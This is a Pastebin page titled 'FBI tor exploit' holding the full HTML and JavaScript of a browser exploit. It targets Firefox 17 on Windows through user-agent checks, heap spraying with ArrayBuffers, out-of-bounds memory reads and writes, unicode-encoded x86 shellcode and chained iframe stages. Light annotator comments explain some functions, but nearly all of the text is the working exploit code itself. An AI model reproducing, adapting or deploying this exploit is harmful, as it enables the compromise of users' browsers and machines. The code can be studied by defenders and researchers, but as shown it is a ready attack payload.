SHARE
TWEET

FBI tor exploit

a guest Aug 4th, 2013 1,161 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html>
  2. <body>
  3. <iframe frameborder=1  border=1 height=400 width=800 id="iframe"> </iframe>    
  4. </body>
  5. </html>
  6.  
  7. <script>
  8.  
  9. var var1=0xB0;
  10. var var2 = new Array(var1);                                    
  11. var var3 = new Array(var1);    
  12. var var4 = new Array(var1);
  13.  
  14. var var5=0xFF004;      
  15. var var6=0x3FC01;  
  16.  
  17. var var7=0x60000000;
  18. var var8=0x18000000;
  19.  
  20.  
  21. var var9=1;
  22.  
  23. var var10 = 0x12000000;
  24. var var11 = 0;
  25. var var12=0; // set in b() if on Firefox 17, read in df()
  26. // exploit will not be attempted unless var12 is set
  27.  
  28. var var13 =0;
  29.  
  30. // top entry point, called as onload handler
  31. function u()
  32. {      
  33.         if( t() == true )
  34.         {
  35.                 var9 = 1;              
  36.                 b();
  37.                 d();
  38.                 c();
  39.         }else{
  40.                 return ;
  41.         }
  42. }
  43.  
  44. function t() // only attempt the exploit once per session
  45. {
  46. //      if(typeof sessionStorage.tempStor !="undefined")
  47. //              return false;
  48.         sessionStorage.tempStor="";
  49.         return true;
  50. }
  51.  
  52. function b()
  53. {
  54.         var version = al(); // ensure Firefox on Windows
  55.         if(version <17)  
  56.         {
  57.                 window.location.href="content_1.html";
  58.         } // "content_1.html" was never obtained
  59.         if( version >=17 /* && version <18 */ )
  60.                 var12 = 0xE8;
  61.         return ;
  62. }
  63.  
  64. function aj(version) // confirm Windows platform
  65. {
  66.         var i = navigator.userAgent.indexOf("Windows NT");
  67.         if (i != -1)
  68.                 return true;
  69.         return false;
  70. }
  71.  
  72. function ak() // confirm Firefox browser
  73. {
  74.         var ua = navigator.userAgent;
  75.         var browser = ua.substring(0, ua.lastIndexOf("/"));
  76.         browser = browser.substring(browser.lastIndexOf(" ") + 1);
  77.         if (browser != "Firefox")
  78.                 return -1;
  79.  
  80.         var version = ua.substring(ua.lastIndexOf("/") + 1);
  81.         version = parseInt(version.substring(0, version.lastIndexOf(".")));
  82.         return version;
  83. }
  84.  
  85. function al() // get browser version, -1 if not exploitable
  86. {
  87.         version = ak();
  88.  
  89.         if (!aj(version))
  90.                 return -1;
  91.         return version;
  92. }
  93.                
  94. function d()
  95. {
  96.         for(var j=0;j<var1;j++)
  97.         {
  98.                 if( j<var1/8 || j==var1-1)
  99.                 {
  100.                         var tabb = new Array(0x1ED00);
  101.                         var4[j]=tabb;
  102.                         for(i=0;i<0x1ED00;i++)
  103.                         {
  104.                                 var4[j][i]=0x11559944;
  105.                         }      
  106.                 }
  107.                 var2[j]= new ArrayBuffer(var5);
  108.         }
  109.         for(var j=0;j<var1;j++)
  110.         {
  111.                 var3[j]= new Int32Array(var2[j],0,var6);
  112.                 var3[j][0]=0x11336688;                                                                                 
  113.                
  114.                 for(var i=1;i<16;i++)  
  115.                 {                                      
  116.                         var3[j][0x4000*i] = 0x11446688;                                                        
  117.                 }
  118.                        
  119.         }      
  120.  
  121.         for(var j=0;j<var1;j++)
  122.         {
  123.                 if(typeof var4[j] !="undefined")
  124.                 {
  125.                         var4[j][0]=0x22556611;  
  126.                 }
  127.         }
  128. }
  129.  
  130. // load the next piece of the exploit
  131. function c()
  132. {
  133.         var iframe=document.getElementById("iframe");
  134.         iframe.src="content_2a.html";
  135. }
  136.  
  137. // functions below here are called from the other iframes
  138.  
  139. // df() is passed through content_2 and used by content_3
  140. // called nowhere else
  141. // The exploit is not attempted if this returns zero.
  142. // Note that var12 will be zero unless on Firefox 17.
  143. // The returned value is used as part of a heap spray in content_3.
  144. function df()
  145. {
  146.         if(var12==0)
  147.         {
  148.                 return 0x00000000;
  149.         }
  150.         var var14 = var10 + 0x00010000 * var11 + 0x0000002B;
  151.  
  152.         if( var9 == 1 || var9 == 2)
  153.                 return ( var14 - var12);
  154.         else
  155.                 return 0x00000000;
  156. }
  157.  
  158. // w() is called from the second time content_2 is loaded
  159. function w()
  160. {
  161.         if(var9==1)
  162.                 v();
  163.         else
  164.                 x();
  165. }
  166.  
  167. function v()
  168. {
  169.         if(k() == -1)
  170.         {
  171.                 var11 = p();
  172.                 var9 = 2;      
  173.                 c();
  174.         }else{
  175.                 x();
  176.         }
  177. }
  178.  
  179. //  This quickly becomes a huge mess that is obviously depending
  180. // on the JS runtime to screw up in some arcane way.  Little is
  181. // known about the actual exploit, other than some apparent
  182. // shellcode in function f().  Here be dragons.
  183.  
  184. function k()
  185. {
  186.         for(var j=0;j<var1;j++)
  187.         {
  188.                 if(var2[j].byteLength!=var5)
  189.                 {
  190.                         return j;
  191.                 }
  192.         }
  193.         return -1;
  194. }
  195.  
  196. function p()
  197. {
  198.         for(var j=0;j<var1;j++)
  199.         {
  200.                 for(var i=1;i<16;i++)
  201.                 {
  202.                         if(var3[j][i*0x4000-0x02]==0x01000000)
  203.                         {
  204.                                 return -i;
  205.                         }
  206.                 }
  207.         }
  208.         return 0;
  209. }
  210.  
  211. function x()
  212. {
  213.  
  214.         var var60 = k();
  215.         if(var60==-1)
  216.                 return ;                       
  217.  
  218.         var nextvar60 = q(var60);
  219.         if(nextvar60==-1)
  220.                 return ;                               
  221.                
  222.         var var61 = o(var60);
  223.         var var62  = new Int32Array(var2[nextvar60],0,var8);
  224.         var var58 = n(var62,var61);
  225.         if(var58==-1)
  226.                 return ;                       
  227.  
  228.         var var50 = m(var62,var58);
  229.  
  230.         var13 = var10 + 0x00100000 + 0x00010000 * var11;
  231.         e(var62);
  232.  
  233.         l(var62,var58);
  234.  
  235.         var var64 = var4[var50][0];
  236.  
  237.         ac(var64,var50,var62,var58,var60);
  238. }
  239.  
  240. function q(var60)
  241. {
  242.         var view  = new Int32Array(var2[var60],0,0x00040400);
  243.         view[0x00100000/4-0x02]=var7;
  244.         if(var2[var60+1].byteLength==var7)
  245.                 return var60+1;
  246.         return -1;
  247. }
  248.  
  249. function o(var60)
  250. {
  251.         var view  = new Int32Array(var2[var60],0,0x00040400);
  252.  
  253.         var var59 = view[0x00100000/4-0x0C];
  254.         var var57 = var10 + 0x00100000 + 0x00010000 * var11;   
  255.  
  256.         return ((var59 - var57)/4);
  257. }
  258.  
  259. function n(view,firstvar58)
  260. {
  261.         var var57 = var10 + 0x00100000 + 0x00010000 * var11;   
  262.         var var58=0;
  263.         for(var i=0;i<200;i++)
  264.         {
  265.                 if(view[var58] != 0x11336688)  
  266.                 {
  267.                         if(view[var58] == 0x22556611 )  
  268.                                 return  var58;
  269.                         else
  270.                                 return -1;
  271.                 }
  272.                 if(var58==0)
  273.                 {
  274.                         var58 = firstvar58;
  275.                 }else{
  276.                         var var59=view[var58-0x0C];
  277.                         var58 = (var59 - var57)/4;
  278.                 }
  279.         }
  280.         return -1;
  281. }
  282.  
  283. function m(view,var58)
  284. {
  285.         view[var58]=0x00000000;  
  286.         for(var j=0;j<var1;j++)
  287.         {
  288.                 if(typeof var4[j] !="undefined")
  289.                 {
  290.                         if(var4[j][0]!=0x22556611)
  291.                                 return j;
  292.                 }
  293.         }
  294.         return -1
  295. }
  296.  
  297. function e(view)
  298. {
  299.         var i=0;
  300.         for(i=0;i<0x400;i++)
  301.         {
  302.                 view[i] = var13+0x1010 ;
  303.         }
  304.         view[0x0]=var13+0x1010;                
  305.         view[0x44]=0x0;                        
  306.         view[0x45]=0x0;                        
  307.         view[0x400-4]=var13+0x1010;    
  308.         view[0x400]=0x00004004;                        
  309.         view[0x401]=0x7FFE0300;                        
  310. }
  311.  
  312. function l(view,var58)
  313. {
  314.         view[var58] = var13 + 0x1030;  
  315.         view[var58+1] = 0xFFFFFF85;            
  316. }
  317.  
  318. function ac(var64,var50,var62,var58,var60)
  319. {
  320.         var var15=ah(var64);
  321.  
  322.         f(var15,var62,var58);
  323.  
  324.         y(var50);
  325.         var var66 = aa(var62,var58+2);
  326.  
  327.         var var67 = i(var66,0x40,var50,var62) ;
  328.         j(var67,var62);
  329.  
  330.         g(var50,var62);
  331.         ab(var13+0x1040 ,var62,var58+2);
  332.  
  333.         r(var60)
  334.         setTimeout(ad,1000);
  335.         z(var50);
  336. }      
  337.  
  338. function ah(var73)
  339. {
  340.         var var74 = var73.substring(0,2);
  341.     var var70 = var74.charCodeAt(0);
  342.     var var71 = var74.charCodeAt(1);
  343.     var var75 = (var71 << 16) + var70;
  344.     if (var75 == 0)
  345.     {
  346.         var var76 = var73.substring(32, 34);
  347.         var var70 = var76.charCodeAt(0);
  348.         var var71 = var76.charCodeAt(1);
  349.         var75 = (var71 << 16) + var70;
  350.     }
  351.     var var15 = am(var75);
  352.     if (var15 == -1)
  353.     {
  354.         return;
  355.     }
  356.     return var15
  357. }
  358.  
  359. function am(var77)
  360. {
  361.     var var15 = new Array(2);
  362.      if (var77 % 0x10000 == 0xE510)                                    
  363.      {      
  364.         var78 = var77 - 0xE510;
  365.         var15[0] = var78 + 0xE8AE;                  
  366.         var15[1] = var78 + 0xD6EE;                  
  367.     }
  368.     else if (var77 % 0x10000 == 0x9A90)                        
  369.     {  
  370.         var78 = var77 - 0x69A90;
  371.         var15[0] = var78 + 0x6A063;                
  372.         var15[1] = var78 + 0x68968;                  
  373.     }
  374.     else if (var77 % 0x10000 == 0x5E70)                                
  375.     {  
  376.         var78 = var77 - 0x65E70;
  377.         var15[0] = var78 + 0x66413;                  
  378.         var15[1] = var78 + 0x64D34;                
  379.     }
  380.     else if (var77 % 0x10000 == 0x35F3)                                
  381.     {  
  382.         var78 = var77 - 0x335F3;
  383.         var15[0] = var78 + 0x4DE13;                  
  384.         var15[1] = var78 + 0x49AB8;                  
  385.     }
  386.     else if (var77 % 0x10000 == 0x5CA0)                                
  387.     {  
  388.         var78 = var77 - 0x65CA0;
  389.         var15[0] = var78 + 0x66253;                
  390.         var15[1] = var78 + 0x64B84;                  
  391.     }
  392.     else if (var77 % 0x10000 == 0x5CD0)                                
  393.     {  
  394.         var78 = var77 - 0x65CD0;
  395.         var15[0] = var78 + 0x662A3;                  
  396.         var15[1] = var78 + 0x64BA4;                
  397.        
  398.     }
  399.     else if (var77 % 0x10000 == 0x6190)                        
  400.     {
  401.         var78 = var77 - 0x46190;
  402.         var15[0] = var78 + 0x467D3;                
  403.         var15[1] = var78 + 0x45000;                  
  404.        
  405.     }
  406.     else if (var77 % 0x10000 == 0x9CB9)                        
  407.     {  
  408.         var78 = var77 - 0x29CB9;
  409.         var15[0] = var78 + 0x29B83;                
  410.         var15[1] = var78 + 0xFFC8;                  
  411.     }
  412.     else if (var77 % 0x10000 == 0x9CE9)                
  413.     {  
  414.         var78 = var77 - 0x29CE9;
  415.         var15[0] = var78 + 0x29BB3;                
  416.         var15[1] = var78 + 0xFFD8;                  
  417.     }
  418.     else if (var77 % 0x10000 == 0x70B0)                                
  419.     {  
  420.         var78 = var77 - 0x470B0;
  421.         var15[0] = var78 + 0x47733;                  
  422.         var15[1] = var78 + 0x45F18;                
  423.     }
  424.     else if (var77 % 0x10000 == 0x7090)                        
  425.     {  
  426.         var78 = var77 - 0x47090;
  427.         var15[0] = var78 + 0x476B3;              
  428.         var15[1] = var78 + 0x45F18;                
  429.     }
  430.     else if (var77 % 0x10000 == 0x9E49)                        
  431.     {
  432.         var78 = var77 - 0x29E49;
  433.         var15[0] = var78 + 0x29D13;                
  434.         var15[1] = var78 + 0x10028;                
  435.     }
  436.     else if (var77 % 0x10000 == 0x9E69)                
  437.     {
  438.         var78 = var77 - 0x29E69;
  439.         var15[0] = var78 + 0x29D33;              
  440.         var15[1] = var78 + 0x10018;              
  441.     }
  442.    
  443.     else if (var77 % 0x10000 == 0x9EB9)                
  444.     {
  445.         var78 = var77 - 0x29EB9;       
  446.         var15[0] = var78 + 0x29D83;              
  447.         var15[1] = var78 + 0xFFC8;              
  448.     }
  449.     else
  450.     {
  451.         return -1;                        
  452.     }
  453.    
  454.     return var15;
  455. }
  456.  
  457. function f(var15,view,var16)
  458. {
  459.         var magneto = "";
  460.         var magneto = ("\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"");
  461.         var var29 = magneto;
  462.         var var17 = "\u9060";
  463.         var var18 = "\u9061";
  464.         var var19 = "\uC481\u0000\u0008" ;
  465.         var var20 = "\u2589\u3000"+String.fromCharCode((var13 >> 16)  & 0x0000FFFF);
  466.         var var21="\u258B\u3000"+String.fromCharCode((var13 >> 16)  & 0x0000FFFF);
  467.         var var22 = "\uE589";
  468.         var var23 ="\uC3C9";
  469.         var var24  = "\uE889";        
  470.         var24 += "\u608D\u90C0";      
  471.  
  472.         var var25 = var10 + 0x00010000 * var11 + 0x00000030 + 0x00100000;
  473.         var var26 = var25 + var16*4
  474.  
  475.         var var27 =""
  476.         var27 += "\uB890\u2020\u2020";                                               
  477.         var27 += "\uA390"+ae(var26+0x00);
  478.         var27 += "\uA390"+ae(var26+0x04);
  479.         var27 += "\uA390"+ae(var26+0x08);
  480.         var27 += "\uA390"+ae(var26+0x0C);
  481.  
  482.         var var28  = var17;
  483.         var28 += var20;
  484.         var28 += var19;
  485.         var28 += var22;
  486.         var28 += var27;
  487.         var28 += var29;
  488.     var28 += var21;
  489.     var28 += var18;
  490.     var28 += var23;
  491.         var var29Array = new Array();
  492.         var29Array=ag(var28);
  493.  
  494.         var var29Ad = var13+0x5010;
  495.         var i=0;
  496.         var j=0;
  497.         var var30=var13+0x4048;
  498.         var var31 = new Array();
  499.  
  500.         var31[0]=var30;                        
  501.         var31[1]=var30;                        
  502.         var31[2]=var30;                        
  503.         var31[3]=var15[1];                     
  504.         var31[4]=var29Ad;              
  505.         var31[5]=0xFFFFFFFF;                   
  506.         var31[6]=var13+0x4044; 
  507.         var31[7]=var13+0x4040; 
  508.         var31[8]=0x00000040;                   
  509.         var31[9]=var13+0x4048; 
  510.         var31[10]=0x00040000;          
  511.         var31[11]=var29Ad;             
  512.         var31[12]=var13+0x301C;
  513.                
  514.         for(var i=0 ; i < 0x140 ; i++)
  515.         {
  516.                 var31[i+15]=var15[0];
  517.         }      
  518.         var var32 = 0x3F8;             
  519.         view[0x800+0+var32]=var13+0x4018;  
  520.         view[0x800+1+var32]=var13+0x4018;
  521.         for(var i=2 ; i < var31.length  ; i++)
  522.         {
  523.                 view[0x800+i+var32]=  0x41414141;
  524.         }              
  525.         for(var i=0 ; i < var31.length  ; i++)
  526.         {
  527.                 view[0xC02+i+var32]=  var31[i];
  528.         }                              
  529.         for(var i=0 ; i < var29Array.length ; i++)
  530.         {
  531.                 view[0x1000 + i+var32] = var29Array[i];
  532.         }                      
  533.        
  534. }
  535.  
  536. function ae(int32)
  537. {
  538.     var var68 = String.fromCharCode((int32)& 0x0000FFFF);
  539.     var var69 = String.fromCharCode((int32 >> 16)  & 0x0000FFFF);
  540.     return var68+var69;
  541. }  
  542.    
  543. function af(string)
  544. {              
  545.     var var70 = string.charCodeAt(0);
  546.     var var71 = string.charCodeAt(1);
  547.     var var72 = (var71 << 16) + var70;
  548.         return var72;
  549. }      
  550.                
  551. function ag(string)
  552. {      
  553.         if(string.length%2!=0)
  554.                 string+="\u9090";
  555.         var intArray= new Array();
  556.         for(var i=0 ; i*2 < string.length; i++ )
  557.                 intArray[i]=af(string[i*2]+string[i*2+1]);
  558.         return intArray;
  559. }      
  560.                
  561. function y(index)
  562. {
  563.         var4[index][1]= document.createElement('span') ;
  564. }              
  565.  
  566. function aa(view,var63)
  567. {
  568.         return view[var63];
  569. }      
  570.  
  571. function i(address,size,var50,view)
  572. {
  573.         var var56 = size/2;
  574.         var56 = var56*0x10 +0x04;
  575.         view[0x400]=var56;               
  576.         view[0x401]=address;    
  577.         return var4[var50][0];
  578. }
  579.  
  580. function j(memory,view)
  581. {
  582.         var intArray=ag(memory);
  583.         for(var i=0 ; i < intArray.length  ; i++)
  584.         {
  585.                 view[0x404+i]=intArray[i];             
  586.         }
  587. }
  588.  
  589. function g(var50,view)
  590. {
  591.         var k = h(var50,view);
  592.         var j=0;
  593.         if( k < 0 )
  594.                 return -1;
  595.         view[0x404+k]=var13+0x3010;
  596.         return 1;
  597. }
  598.  
  599. function h(var50,view)
  600. {
  601.         var address=0;
  602.         var u=0;
  603.         var memory="";
  604.         var var55=0;
  605.         for( u =7; u >=4 ;u--)
  606.         {
  607.                 address=view[0x404+u];
  608.                 if( address > 0x000A0000 && address < 0x80000000 )  
  609.                 {
  610.                         memory = i(address,0x48,var50,view);
  611.                         var55=af(memory[0x14]+memory[0x15]);
  612.                         if(var55==address)
  613.                         {
  614.                                 return u;
  615.                         }                              
  616.                 }
  617.         }
  618.         return -1;
  619. }
  620.  
  621. function ab(address,view,var63)
  622. {
  623.         view[var63]=address;
  624. }      
  625.  
  626. function r(var60)
  627. {
  628.         var view  = new Int32Array(var2[var60],0,0x00040400);
  629.         view[0x00100000/4-0x02]=var5;
  630. }
  631.  
  632. function z(index,index2)
  633. {
  634.         var4[index][1].innerHTML;
  635. }              
  636.  
  637. // ad() is called through setTimeout
  638. function ad()
  639. {
  640.         for(var j=0;j<var1;j++)
  641.         {
  642.                 delete var3[j]
  643.                 var3[j]= null;
  644.                
  645.                 delete var2[j];
  646.                 var2[j] = null;
  647.  
  648.                 if(typeof var4[j] !="undefined")
  649.                 {
  650.                         delete var4[j];        
  651.                         var4[j] = null;
  652.                 }      
  653.         }      
  654.         delete var2;
  655.         delete var3;
  656.         delete var4;   
  657.         var2=null;
  658.         var3=null;
  659.         var4=null;     
  660. }
  661.  
  662. window.addEventListener("onload", u(),true);
  663.  
  664. </script>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top